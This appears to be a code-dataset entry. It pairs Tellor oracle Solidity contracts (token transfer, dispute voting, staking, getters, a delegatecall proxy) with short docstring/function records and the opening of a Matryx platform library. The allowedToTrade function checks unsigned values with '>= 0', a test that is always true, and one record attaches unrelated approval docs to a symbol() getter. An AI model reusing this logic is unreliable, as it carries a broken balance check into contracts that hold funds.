function transferFrom(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) public returns (bool success) {
require(self.allowed[_from][msg.sender] >= _amount);
self.allowed[_from][msg.sender] -= _amount;
doTransfer(self,_from, _to, _amount);
return true;
}
/**
* @dev This function approves a _spender an _amount of tokens to use
* @param _spender address
* @param _amount amount the spender is being approved for
* @return true if spender appproved successfully
*/
function approve(TellorStorage.TellorStorageStruct storage self, address _spender, uint _amount) public returns (bool) {
require(_spender != address(0));
self.allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @param _user address of party with the balance
* @param _spender address of spender of parties said balance
* @return Returns the remaining allowance of tokens granted to the _spender from the _user
*/
function allowance(TellorStorage.TellorStorageStruct storage self,address _user, address _spender) public view returns (uint) {
return self.allowed[_user][_spender];
}
/**
* @dev Completes POWO transfers by updating the balances on the current block number
* @param _from address to transfer from
* @param _to addres to transfer to
* @param _amount to transfer
*/
function doTransfer(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint _amount) public {
require(_amount > 0);
require(_to != address(0));
require(allowedToTrade(self,_from,_amount)); //allowedToTrade checks the stakeAmount is removed from balance if the _user is staked
uint previousBalance = balanceOfAt(self,_from, block.number);
updateBalanceAtNow(self.balances[_from], previousBalance - _amount);
previousBalance = balanceOfAt(self,_to, block.number);
require(previousBalance + _amount >= previousBalance); // Check for overflow
updateBalanceAtNow(self.balances[_to], previousBalance + _amount);
emit Transfer(_from, _to, _amount);
}
/**
* @dev Gets balance of owner specified
* @param _user is the owner address used to look up the balance
* @return Returns the balance associated with the passed in _user
*/
function balanceOf(TellorStorage.TellorStorageStruct storage self,address _user) public view returns (uint) {
return balanceOfAt(self,_user, block.number);
}
/**
* @dev Queries the balance of _user at a specific _blockNumber
* @param _user The address from which the balance will be retrieved
* @param _blockNumber The block number when the balance is queried
* @return The balance at _blockNumber specified
*/
function balanceOfAt(TellorStorage.TellorStorageStruct storage self,address _user, uint _blockNumber) public view returns (uint) {
if ((self.balances[_user].length == 0) || (self.balances[_user][0].fromBlock > _blockNumber)) {
return 0;
}
else {
return getBalanceAt(self.balances[_user], _blockNumber);
}
}
/**
* @dev Getter for balance for owner on the specified _block number
* @param checkpoints gets the mapping for the balances[owner]
* @param _block is the block number to search the balance on
* @return the balance at the checkpoint
*/
function getBalanceAt(TellorStorage.Checkpoint[] storage checkpoints, uint _block) view public returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
// Binary search of the value in the array
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/**
* @dev This function returns whether or not a given user is allowed to trade a given amount
* and removing the staked amount from their balance if they are staked
* @param _user address of user
* @param _amount to check if the user can spend
* @return true if they are allowed to spend the amount being checked
*/
function allowedToTrade(TellorStorage.TellorStorageStruct storage self,address _user,uint _amount) public view returns(bool) {
if(self.stakerDetails[_user].currentStatus >0){
//Removes the stakeAmount from balance if the _user is staked
if(balanceOf(self,_user).sub(self.uintVars[keccak256("stakeAmount")]).sub(_amount) >= 0){
return true;
}
}
else if(balanceOf(self,_user).sub(_amount) >= 0){
return true;
}
return false;
}
/**
* @dev Updates balance for from and to on the current block number via doTransfer
* @param checkpoints gets the mapping for the balances[owner]
* @param _value is the new balance
*/
function updateBalanceAtNow(TellorStorage.Checkpoint[] storage checkpoints, uint _value) public {
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
TellorStorage.Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
TellorStorage.Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
//import "./SafeMath.sol";
/**
* @title Tellor Dispute
* @dev Contais the methods related to disputes. Tellor.sol references this library for function's logic.
*/
library TellorDispute {
using SafeMath for uint256;
using SafeMath for int256;
event NewDispute(uint indexed _disputeId, uint indexed _requestId, uint _timestamp, address _miner);//emitted when a new dispute is initialized
event Voted(uint indexed _disputeID, bool _position, address indexed _voter);//emitted when a new vote happens
event DisputeVoteTallied(uint indexed _disputeID, int _result,address indexed _reportedMiner,address _reportingParty, bool _active);//emitted upon dispute tally
event NewTellorAddress(address _newTellor); //emmited when a proposed fork is voted true
/*Functions*/
/**
* @dev Helps initialize a dispute by assigning it a disputeId
* when a miner returns a false on the validate array(in Tellor.ProofOfWork) it sends the
* invalidated value information to POS voting
* @param _requestId being disputed
* @param _timestamp being disputed
* @param _minerIndex the index of the miner that submitted the value being disputed. Since each official value
* requires 5 miners to submit a value.
*/
function beginDispute(TellorStorage.TellorStorageStruct storage self,uint _requestId, uint _timestamp,uint _minerIndex) public {
TellorStorage.Request storage _request = self.requestDetails[_requestId];
//require that no more than a day( (24 hours * 60 minutes)/10minutes=144 blocks) has gone by since the value was "mined"
require(now - _timestamp<= 1 days);
require(_request.minedBlockNum[_timestamp] > 0);
require(_minerIndex < 5);
//_miner is the miner being disputed. For every mined value 5 miners are saved in an array and the _minerIndex
//provided by the party initiating the dispute
address _miner = _request.minersByValue[_timestamp][_minerIndex];
bytes32 _hash = keccak256(abi.encodePacked(_miner,_requestId,_timestamp));
//Ensures that a dispute is not already open for the that miner, requestId and timestamp
require(self.disputeIdByDisputeHash[_hash] == 0);
TellorTransfer.doTransfer(self, msg.sender,address(this), self.uintVars[keccak256("disputeFee")]);
//Increase the dispute count by 1
self.uintVars[keccak256("disputeCount")] = self.uintVars[keccak256("disputeCount")] + 1;
//Sets the new disputeCount as the disputeId
uint disputeId = self.uintVars[keccak256("disputeCount")];
//maps the dispute hash to the disputeId
self.disputeIdByDisputeHash[_hash] = disputeId;
//maps the dispute to the Dispute struct
self.disputesById[disputeId] = TellorStorage.Dispute({
hash:_hash,
isPropFork: false,
reportedMiner: _miner,
reportingParty: msg.sender,
proposedForkAddress:address(0),
executed: false,
disputeVotePassed: false,
tally: 0
});
//Saves all the dispute variables for the disputeId
self.disputesById[disputeId].disputeUintVars[keccak256("requestId")] = _requestId;
self.disputesById[disputeId].disputeUintVars[keccak256("timestamp")] = _timestamp;
self.disputesById[disputeId].disputeUintVars[keccak256("value")] = _request.valuesByTimestamp[_timestamp][_minerIndex];
self.disputesById[disputeId].disputeUintVars[keccak256("minExecutionDate")] = now + 7 days;
self.disputesById[disputeId].disputeUintVars[keccak256("blockNumber")] = block.number;
self.disputesById[disputeId].disputeUintVars[keccak256("minerSlot")] = _minerIndex;
self.disputesById[disputeId].disputeUintVars[keccak256("fee")] = self.uintVars[keccak256("disputeFee")];
//Values are sorted as they come in and the official value is the median of the first five
//So the "official value" miner is always minerIndex==2. If the official value is being
//disputed, it sets its status to inDispute(currentStatus = 3) so that users are made aware it is under dispute
if(_minerIndex == 2){
self.requestDetails[_requestId].inDispute[_timestamp] = true;
}
self.stakerDetails[_miner].currentStatus = 3;
emit NewDispute(disputeId,_requestId,_timestamp,_miner);
}
/**
* @dev Allows token holders to vote
* @param _disputeId is the dispute id
* @param _supportsDispute is the vote (true=the dispute has basis false = vote against dispute)
*/
function vote(TellorStorage.TellorStorageStruct storage self, uint _disputeId, bool _supportsDispute) public {
TellorStorage.Dispute storage disp = self.disputesById[_disputeId];
//Get the voteWeight or the balance of the user at the time/blockNumber the disupte began
uint voteWeight = TellorTransfer.balanceOfAt(self,msg.sender,disp.disputeUintVars[keccak256("blockNumber")]);
//Require that the msg.sender has not voted
require(disp.voted[msg.sender] != true);
//Requre that the user had a balance >0 at time/blockNumber the disupte began
require(voteWeight > 0);
//ensures miners that are under dispute cannot vote
require(self.stakerDetails[msg.sender].currentStatus != 3);
//Update user voting status to true
disp.voted[msg.sender] = true;
//Update the number of votes for the dispute
disp.disputeUintVars[keccak256("numberOfVotes")] += 1;
//Update the quorum by adding the voteWeight
disp.disputeUintVars[keccak256("quorum")] += voteWeight;
//If the user supports the dispute increase the tally for the dispute by the voteWeight
//otherwise decrease it
if (_supportsDispute) {
disp.tally = disp.tally.add(int(voteWeight));
} else {
disp.tally = disp.tally.sub(int(voteWeight));
}
//Let the network know the user has voted on the dispute and their casted vote
emit Voted(_disputeId,_supportsDispute,msg.sender);
}
/**
* @dev tallies the votes.
* @param _disputeId is the dispute id
*/
function tallyVotes(TellorStorage.TellorStorageStruct storage self, uint _disputeId) public {
TellorStorage.Dispute storage disp = self.disputesById[_disputeId];
TellorStorage.Request storage _request = self.requestDetails[disp.disputeUintVars[keccak256("requestId")]];
//Ensure this has not already been executed/tallied
require(disp.executed == false);
//Ensure the time for voting has elapsed
require(now > disp.disputeUintVars[keccak256("minExecutionDate")]);
//If the vote is not a proposed fork
if (disp.isPropFork== false){
TellorStorage.StakeInfo storage stakes = self.stakerDetails[disp.reportedMiner];
//If the vote for disputing a value is succesful(disp.tally >0) then unstake the reported
// miner and transfer the stakeAmount and dispute fee to the reporting party
if (disp.tally > 0 ) {
//Changing the currentStatus and startDate unstakes the reported miner and allows for the
//transfer of the stakeAmount
stakes.currentStatus = 0;
stakes.startDate = now -(now % 86400);
//Decreases the stakerCount since the miner's stake is being slashed
self.uintVars[keccak256("stakerCount")]--;
updateDisputeFee(self);
//Transfers the StakeAmount from the reporded miner to the reporting party
TellorTransfer.doTransfer(self, disp.reportedMiner,disp.reportingParty, self.uintVars[keccak256("stakeAmount")]);
//Returns the dispute fee to the reportingParty
TellorTransfer.doTransfer(self, address(this),disp.reportingParty,disp.disputeUintVars[keccak256("fee")]);
//Set the dispute state to passed/true
disp.disputeVotePassed = true;
//If the dispute was succeful(miner found guilty) then update the timestamp value to zero
//so that users don't use this datapoint
if(_request.inDispute[disp.disputeUintVars[keccak256("timestamp")]] == true){
_request.finalValues[disp.disputeUintVars[keccak256("timestamp")]] = 0;
}
//If the vote for disputing a value is unsuccesful then update the miner status from being on
//dispute(currentStatus=3) to staked(currentStatus =1) and tranfer the dispute fee to the miner
} else {
//Update the miner's current status to staked(currentStatus = 1)
stakes.currentStatus = 1;
//tranfer the dispute fee to the miner
TellorTransfer.doTransfer(self,address(this),disp.reportedMiner,disp.disputeUintVars[keccak256("fee")]);
if(_request.inDispute[disp.disputeUintVars[keccak256("timestamp")]] == true){
_request.inDispute[disp.disputeUintVars[keccak256("timestamp")]] = false;
}
}
//If the vote is for a proposed fork require a 20% quorum before excecuting the update to the new tellor contract address
} else {
if(disp.tally > 0 ){
require(disp.disputeUintVars[keccak256("quorum")] > (self.uintVars[keccak256("total_supply")] * 20 / 100));
self.addressVars[keccak256("tellorContract")] = disp.proposedForkAddress;
disp.disputeVotePassed = true;
emit NewTellorAddress(disp.proposedForkAddress);
}
}
//update the dispute status to executed
disp.executed = true;
emit DisputeVoteTallied(_disputeId,disp.tally,disp.reportedMiner,disp.reportingParty,disp.disputeVotePassed);
}
/**
* @dev Allows for a fork to be proposed
* @param _propNewTellorAddress address for new proposed Tellor
*/
function proposeFork(TellorStorage.TellorStorageStruct storage self, address _propNewTellorAddress) public {
bytes32 _hash = keccak256(abi.encodePacked(_propNewTellorAddress));
require(self.disputeIdByDisputeHash[_hash] == 0);
TellorTransfer.doTransfer(self, msg.sender,address(this), self.uintVars[keccak256("disputeFee")]);//This is the fork fee
self.uintVars[keccak256("disputeCount")]++;
uint disputeId = self.uintVars[keccak256("disputeCount")];
self.disputeIdByDisputeHash[_hash] = disputeId;
self.disputesById[disputeId] = TellorStorage.Dispute({
hash: _hash,
isPropFork: true,
reportedMiner: msg.sender,
reportingParty: msg.sender,
proposedForkAddress: _propNewTellorAddress,
executed: false,
disputeVotePassed: false,
tally: 0
});
self.disputesById[disputeId].disputeUintVars[keccak256("blockNumber")] = block.number;
self.disputesById[disputeId].disputeUintVars[keccak256("fee")] = self.uintVars[keccak256("disputeFee")];
self.disputesById[disputeId].disputeUintVars[keccak256("minExecutionDate")] = now + 7 days;
}
/**
* @dev this function allows the dispute fee to fluctuate based on the number of miners on the system.
* The floor for the fee is 15e18.
*/
function updateDisputeFee(TellorStorage.TellorStorageStruct storage self) public {
//if the number of staked miners divided by the target count of staked miners is less than 1
if(self.uintVars[keccak256("stakerCount")]*1000/self.uintVars[keccak256("targetMiners")] < 1000){
//Set the dispute fee at stakeAmt * (1- stakerCount/targetMiners)
//or at the its minimum of 15e18
self.uintVars[keccak256("disputeFee")] = SafeMath.max(15e18,self.uintVars[keccak256("stakeAmount")].mul(1000 - self.uintVars[keccak256("stakerCount")]*1000/self.uintVars[keccak256("targetMiners")])/1000);
}
else{
//otherwise set the dispute fee at 15e18 (the floor/minimum fee allowed)
self.uintVars[keccak256("disputeFee")] = 15e18;
}
}
}
/**
* itle Tellor Dispute
* @dev Contais the methods related to miners staking and unstaking. Tellor.sol
* references this library for function's logic.
*/
library TellorStake {
event NewStake(address indexed _sender);//Emits upon new staker
event StakeWithdrawn(address indexed _sender);//Emits when a staker is now no longer staked
event StakeWithdrawRequested(address indexed _sender);//Emits when a staker begins the 7 day withdraw period
/*Functions*/
/**
* @dev This function stakes the five initial miners, sets the supply and all the constant variables.
* This function is called by the constructor function on TellorMaster.sol
*/
function init(TellorStorage.TellorStorageStruct storage self) public{
require(self.uintVars[keccak256("decimals")] == 0);
//Give this contract 6000 Tellor Tributes so that it can stake the initial 6 miners
TellorTransfer.updateBalanceAtNow(self.balances[address(this)], 2**256-1 - 6000e18);
// //the initial 5 miner addresses are specfied below
// //changed payable[5] to 6
address payable[6] memory _initalMiners = [address(0x4c49172A499D18eA3093D59A304eEF63F9754e25),
address(0xbfc157b09346AC15873160710B00ec8d4d520C5a),
address(0xa3792188E76c55b1A649fE5Df77DDd4bFD6D03dB),
address(0xbAF31Bbbba24AF83c8a7a76e16E109d921E4182a),
address(0x8c9841fEaE5Fc2061F2163033229cE0d9DfAbC71),
address(0xc31Ef608aDa4003AaD4D2D1ec2Be72232A9E2A86)];
//Stake each of the 5 miners specified above
for(uint i=0;i<6;i++){//6th miner to allow for dispute
//Miner balance is set at 1000e18 at the block that this function is ran
TellorTransfer.updateBalanceAtNow(self.balances[_initalMiners[i]],1000e18);
newStake(self, _initalMiners[i]);
}
//update the total suppply
self.uintVars[keccak256("total_supply")] += 6000e18;//6th miner to allow for dispute
//set Constants
self.uintVars[keccak256("decimals")] = 18;
self.uintVars[keccak256("targetMiners")] = 200;
self.uintVars[keccak256("stakeAmount")] = 1000e18;
self.uintVars[keccak256("disputeFee")] = 970e18;
self.uintVars[keccak256("timeTarget")]= 600;
self.uintVars[keccak256("timeOfLastNewValue")] = now - now % self.uintVars[keccak256("timeTarget")];
self.uintVars[keccak256("difficulty")] = 1;
}
/**
* @dev This function allows stakers to request to withdraw their stake (no longer stake)
* once they lock for withdraw(stakes.currentStatus = 2) they are locked for 7 days before they
* can withdraw the deposit
*/
function requestStakingWithdraw(TellorStorage.TellorStorageStruct storage self) public {
TellorStorage.StakeInfo storage stakes = self.stakerDetails[msg.sender];
//Require that the miner is staked
require(stakes.currentStatus == 1);
//Change the miner staked to locked to be withdrawStake
stakes.currentStatus = 2;
//Change the startDate to now since the lock up period begins now
//and the miner can only withdraw 7 days later from now(check the withdraw function)
stakes.startDate = now -(now % 86400);
//Reduce the staker count
self.uintVars[keccak256("stakerCount")] -= 1;
TellorDispute.updateDisputeFee(self);
emit StakeWithdrawRequested(msg.sender);
}
/**
* @dev This function allows users to withdraw their stake after a 7 day waiting period from request
*/
function withdrawStake(TellorStorage.TellorStorageStruct storage self) public {
TellorStorage.StakeInfo storage stakes = self.stakerDetails[msg.sender];
//Require the staker has locked for withdraw(currentStatus ==2) and that 7 days have
//passed by since they locked for withdraw
require(now - (now % 86400) - stakes.startDate >= 7 days);
require(stakes.currentStatus == 2);
stakes.currentStatus = 0;
emit StakeWithdrawn(msg.sender);
}
/**
* @dev This function allows miners to deposit their stake.
*/
function depositStake(TellorStorage.TellorStorageStruct storage self) public {
newStake(self, msg.sender);
//self adjusting disputeFee
TellorDispute.updateDisputeFee(self);
}
/**
* @dev This function is used by the init function to succesfully stake the initial 5 miners.
* The function updates their status/state and status start date so they are locked it so they can't withdraw
* and updates the number of stakers in the system.
*/
function newStake(TellorStorage.TellorStorageStruct storage self, address staker) internal {
require(TellorTransfer.balanceOf(self,staker) >= self.uintVars[keccak256("stakeAmount")]);
//Ensure they can only stake if they are not currrently staked or if their stake time frame has ended
//and they are currently locked for witdhraw
require(self.stakerDetails[staker].currentStatus == 0 || self.stakerDetails[staker].currentStatus == 2);
self.uintVars[keccak256("stakerCount")] += 1;
self.stakerDetails[staker] = TellorStorage.StakeInfo({
currentStatus: 1,
//this resets their stake start date to today
startDate: now - (now % 86400)
});
emit NewStake(staker);
}
}
/**
* @title Tellor Getters
* @dev Oracle contract with all tellor getter functions. The logic for the functions on this contract
* is saved on the TellorGettersLibrary, TellorTransfer, TellorGettersLibrary, and TellorStake
*/
contract TellorGetters{
using SafeMath for uint256;
using TellorTransfer for TellorStorage.TellorStorageStruct;
using TellorGettersLibrary for TellorStorage.TellorStorageStruct;
using TellorStake for TellorStorage.TellorStorageStruct;
TellorStorage.TellorStorageStruct tellor;
/**
* @param _user address
* @param _spender address
* @return Returns the remaining allowance of tokens granted to the _spender from the _user
*/
function allowance(address _user, address _spender) external view returns (uint) {
return tellor.allowance(_user,_spender);
}
/**
* @dev This function returns whether or not a given user is allowed to trade a given amount
* @param _user address
* @param _amount uint of amount
* @return true if the user is alloed to trade the amount specified
*/
function allowedToTrade(address _user,uint _amount) external view returns(bool){
return tellor.allowedToTrade(_user,_amount);
}
/**
* @dev Gets balance of owner specified
* @param _user is the owner address used to look up the balance
* @return Returns the balance associated with the passed in _user
*/
function balanceOf(address _user) external view returns (uint) {
return tellor.balanceOf(_user);
}
/**
* @dev Queries the balance of _user at a specific _blockNumber
* @param _user The address from which the balance will be retrieved
* @param _blockNumber The block number when the balance is queried
* @return The balance at _blockNumber
*/
function balanceOfAt(address _user, uint _blockNumber) external view returns (uint) {
return tellor.balanceOfAt(_user,_blockNumber);
}
/**
* @dev This function tells you if a given challenge has been completed by a given miner
* @param _challenge the challenge to search for
* @param _miner address that you want to know if they solved the challenge
* @return true if the _miner address provided solved the
*/
function didMine(bytes32 _challenge, address _miner) external view returns(bool){
return tellor.didMine(_challenge,_miner);
}
/**
* @dev Checks if an address voted in a given dispute
* @param _disputeId to look up
* @param _address to look up
* @return bool of whether or not party voted
*/
function didVote(uint _disputeId, address _address) external view returns(bool){
return tellor.didVote(_disputeId,_address);
}
/**
* @dev allows Tellor to read data from the addressVars mapping
* @param _data is the keccak256("variable_name") of the variable that is being accessed.
* These are examples of how the variables are saved within other functions:
* addressVars[keccak256("_owner")]
* addressVars[keccak256("tellorContract")]
*/
function getAddressVars(bytes32 _data) view external returns(address){
return tellor.getAddressVars(_data);
}
/**
* @dev Gets all dispute variables
* @param _disputeId to look up
* @return bytes32 hash of dispute
* @return bool executed where true if it has been voted on
* @return bool disputeVotePassed
* @return bool isPropFork true if the dispute is a proposed fork
* @return address of reportedMiner
* @return address of reportingParty
* @return address of proposedForkAddress
* @return uint of requestId
* @return uint of timestamp
* @return uint of value
* @return uint of minExecutionDate
* @return uint of numberOfVotes
* @return uint of blocknumber
* @return uint of minerSlot
* @return uint of quorum
* @return uint of fee
* @return int count of the current tally
*/
function getAllDisputeVars(uint _disputeId) public view returns(bytes32, bool, bool, bool, address, address, address,uint[9] memory, int){
return tellor.getAllDisputeVars(_disputeId);
}
/**
* @dev Getter function for variables for the requestId being currently mined(currentRequestId)
* @return current challenge, curretnRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request
*/
function getCurrentVariables() external view returns(bytes32, uint, uint,string memory,uint,uint){
return tellor.getCurrentVariables();
}
/**
* @dev Checks if a given hash of miner,requestId has been disputed
* @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId));
* @return uint disputeId
*/
function getDisputeIdByDisputeHash(bytes32 _hash) external view returns(uint){
return tellor.getDisputeIdByDisputeHash(_hash);
}
/**
* @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId
* @param _disputeId is the dispute id;
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the disputeUintVars under the Dispute struct
* @return uint value for the bytes32 data submitted
*/
function getDisputeUintVars(uint _disputeId,bytes32 _data) external view returns(uint){
return tellor.getDisputeUintVars(_disputeId,_data);
}
/**
* @dev Gets the a value for the latest timestamp available
* @return value for timestamp of last proof of work submited
* @return true if the is a timestamp for the lastNewValue
*/
function getLastNewValue() external view returns(uint,bool){
return tellor.getLastNewValue();
}
/**
* @dev Gets the a value for the latest timestamp available
* @param _requestId being requested
* @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't
*/
function getLastNewValueById(uint _requestId) external view returns(uint,bool){
return tellor.getLastNewValueById(_requestId);
}
/**
* @dev Gets blocknumber for mined timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up blocknumber
* @return uint of the blocknumber which the dispute was mined
*/
function getMinedBlockNum(uint _requestId, uint _timestamp) external view returns(uint){
return tellor.getMinedBlockNum(_requestId,_timestamp);
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return the 5 miners' addresses
*/
function getMinersByRequestIdAndTimestamp(uint _requestId, uint _timestamp) external view returns(address[5] memory){
return tellor.getMinersByRequestIdAndTimestamp(_requestId,_timestamp);
}
/**
* @dev Get the name of the token
* return string of the token name
*/
function getName() external view returns(string memory){
return tellor.getName();
}
/**
* @dev Counts the number of values that have been submited for the request
* if called for the currentRequest being mined it can tell you how many miners have submitted a value for that
* request so far
* @param _requestId the requestId to look up
* @return uint count of the number of values received for the requestId
*/
function getNewValueCountbyRequestId(uint _requestId) external view returns(uint){
return tellor.getNewValueCountbyRequestId(_requestId);
}
/**
* @dev Getter function for the specified requestQ index
* @param _index to look up in the requestQ array
* @return uint of reqeuestId
*/
function getRequestIdByRequestQIndex(uint _index) external view returns(uint){
return tellor.getRequestIdByRequestQIndex(_index);
}
/**
* @dev Getter function for requestId based on timestamp
* @param _timestamp to check requestId
* @return uint of reqeuestId
*/
function getRequestIdByTimestamp(uint _timestamp) external view returns(uint){
return tellor.getRequestIdByTimestamp(_timestamp);
}
/**
* @dev Getter function for requestId based on the queryHash
* @param _request is the hash(of string api and granularity) to check if a request already exists
* @return uint requestId
*/
function getRequestIdByQueryHash(bytes32 _request) external view returns(uint){
return tellor.getRequestIdByQueryHash(_request);
}
/**
* @dev Getter function for the requestQ array
* @return the requestQ arrray
*/
function getRequestQ() view public returns(uint[51] memory){
return tellor.getRequestQ();
}
/**
* @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct
* for the requestId specified
* @param _requestId to look up
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the apiUintVars under the requestDetails struct
* @return uint value of the apiUintVars specified in _data for the requestId specified
*/
function getRequestUintVars(uint _requestId,bytes32 _data) external view returns(uint){
return tellor.getRequestUintVars(_requestId,_data);
}
/**
* @dev Gets the API struct variables that are not mappings
* @param _requestId to look up
* @return string of api to query
* @return string of symbol of api to query
* @return bytes32 hash of string
* @return bytes32 of the granularity(decimal places) requested
* @return uint of index in requestQ array
* @return uint of current payout/tip for this requestId
*/
function getRequestVars(uint _requestId) external view returns(string memory, string memory,bytes32,uint, uint, uint) {
return tellor.getRequestVars(_requestId);
}
/**
* @dev This function allows users to retireve all information about a staker
* @param _staker address of staker inquiring about
* @return uint current state of staker
* @return uint startDate of staking
*/
function getStakerInfo(address _staker) external view returns(uint,uint){
return tellor.getStakerInfo(_staker);
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestampt to look up miners for
* @return address[5] array of 5 addresses ofminers that mined the requestId
*/
function getSubmissionsByTimestamp(uint _requestId, uint _timestamp) external view returns(uint[5] memory){
return tellor.getSubmissionsByTimestamp(_requestId,_timestamp);
}
/**
* @dev Get the symbol of the token
* return string of the token symbol
*/
function getSymbol() external view returns(string memory){
return tellor.getSymbol();
}
/**
* @dev Gets the timestamp for the value based on their index
* @param _requestID is the requestId to look up
* @param _index is the value index to look up
* @return uint timestamp
*/
function getTimestampbyRequestIDandIndex(uint _requestID, uint _index) external view returns(uint){
return tellor.getTimestampbyRequestIDandIndex(_requestID,_index);
}
/**
* @dev Getter for the variables saved under the TellorStorageStruct uintVars variable
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the uintVars under the TellorStorageStruct struct
* This is an example of how data is saved into the mapping within other functions:
* self.uintVars[keccak256("stakerCount")]
* @return uint of specified variable
*/
function getUintVar(bytes32 _data) view public returns(uint){
return tellor.getUintVar(_data);
}
/**
* @dev Getter function for next requestId on queue/request with highest payout at time the function is called
* @return onDeck/info on request with highest payout-- RequestId, Totaltips, and API query string
*/
function getVariablesOnDeck() external view returns(uint, uint,string memory){
return tellor.getVariablesOnDeck();
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return bool true if requestId/timestamp is under dispute
*/
function isInDispute(uint _requestId, uint _timestamp) external view returns(bool){
return tellor.isInDispute(_requestId,_timestamp);
}
/**
* @dev Retreive value from oracle based on timestamp
* @param _requestId being requested
* @param _timestamp to retreive data/value from
* @return value for timestamp submitted
*/
function retrieveData(uint _requestId, uint _timestamp) external view returns (uint) {
return tellor.retrieveData(_requestId,_timestamp);
}
/**
* @dev Getter for the total_supply of oracle tokens
* @return uint total supply
*/
function totalSupply() external view returns (uint) {
return tellor.totalSupply();
}
}
/**
* @title Tellor Master
* @dev This is the Master contract with all tellor getter functions and delegate call to Tellor.
* The logic for the functions on this contract is saved on the TellorGettersLibrary, TellorTransfer,
* TellorGettersLibrary, and TellorStake
*/
contract TellorMaster is TellorGetters{
event NewTellorAddress(address _newTellor);
/**
* @dev The constructor sets the original `tellorStorageOwner` of the contract to the sender
* account, the tellor contract to the Tellor master address and owner to the Tellor master owner address
* @param _tellorContract is the address for the tellor contract
*/
constructor (address _tellorContract) public{
tellor.init();
tellor.addressVars[keccak256("_owner")] = msg.sender;
tellor.addressVars[keccak256("_deity")] = msg.sender;
tellor.addressVars[keccak256("tellorContract")]= _tellorContract;
emit NewTellorAddress(_tellorContract);
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @dev Only needs to be in library
* @param _newDeity the new Deity in the contract
*/
function changeDeity(address _newDeity) external{
tellor.changeDeity(_newDeity);
}
/**
* @dev allows for the deity to make fast upgrades. Deity should be 0 address if decentralized
* @param _tellorContract the address of the new Tellor Contract
*/
function changeTellorContract(address _tellorContract) external{
tellor.changeTellorContract(_tellorContract);
}
/**
* @dev This is the fallback function that allows contracts to call the tellor contract at the address stored
*/
function () external payable {
address addr = tellor.addressVars[keccak256("tellorContract")];
bytes memory _calldata = msg.data;
assembly {
let result := delegatecall(not(0), addr, add(_calldata, 0x20), mload(_calldata), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
|
Getter for the total_supply of oracle tokens return uint total supply/
|
function totalSupply() external view returns (uint) {
return tellor.totalSupply();
}
| 12,548,613
|
./partial_match/1/0x63bdA24c1cB7211D5408B1B57119a7aa38c8BC45/sources/CBERC1155Token.sol
|
See {IERC721Metadata-symbol}./
|
function symbol() public view virtual returns (string memory) {
return _symbol;
}
@dev MUST emit Approval event on success.
@param _spender Address to approve
@param _id ID of the Token
@param _currentValue Expected current value of approved allowance.
@param _value Allowance amount
| 15,970,324
|
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
import "./SafeMath.sol";
import "./LibGlobals.sol";
import "./IToken.sol";
import "./MatryxSystem.sol";
import "./MatryxCommit.sol";
import "./MatryxTournament.sol";
library LibPlatform {
using SafeMath for uint256;
event TournamentCreated(address indexed tournament, address indexed creator);
event TournamentBountyAdded(address indexed tournament, address indexed donor, uint256 amount);
function _canUseMatryx(
MatryxPlatform.Info storage info,
MatryxPlatform.Data storage data,
address user
)
internal
returns (bool)
{
if (data.blacklist[user]) return false;
if (data.whitelist[user]) return true;
if (IToken(info.token).balanceOf(user) > 0) {
data.whitelist[user] = true;
return true;
}
return false;
}
/// @dev Gets information about the Platform
/// @param info Platform info struct
/// @return Info Struct that contains system, token, and owner
function getInfo(
address,
address,
MatryxPlatform.Info storage info
)
public
view
returns (MatryxPlatform.Info memory)
{
return info;
}
/// @dev Return if a Tournament exists
/// @param data Platform data struct
/// @param tAddress Tournament address
/// @return true if Tournament exists
function isTournament(
address,
address,
MatryxPlatform.Data storage data,
address tAddress
)
public
view
returns (bool)
{
return data.tournaments[tAddress].info.owner != address(0);
}
/// @dev Return if a Commit exists
/// @param data Platform data struct
/// @param cHash Commit hash
/// @return true if Commit exists
function isCommit(
address,
address,
MatryxPlatform.Data storage data,
bytes32 cHash
)
public
view
returns (bool)
{
return data.commits[cHash].owner != address(0);
}
/// @dev Return if a Submission exists
/// @param data Platform data struct
/// @param sHash Submission hash
/// @return true if Submission exists
function isSubmission(
address,
address,
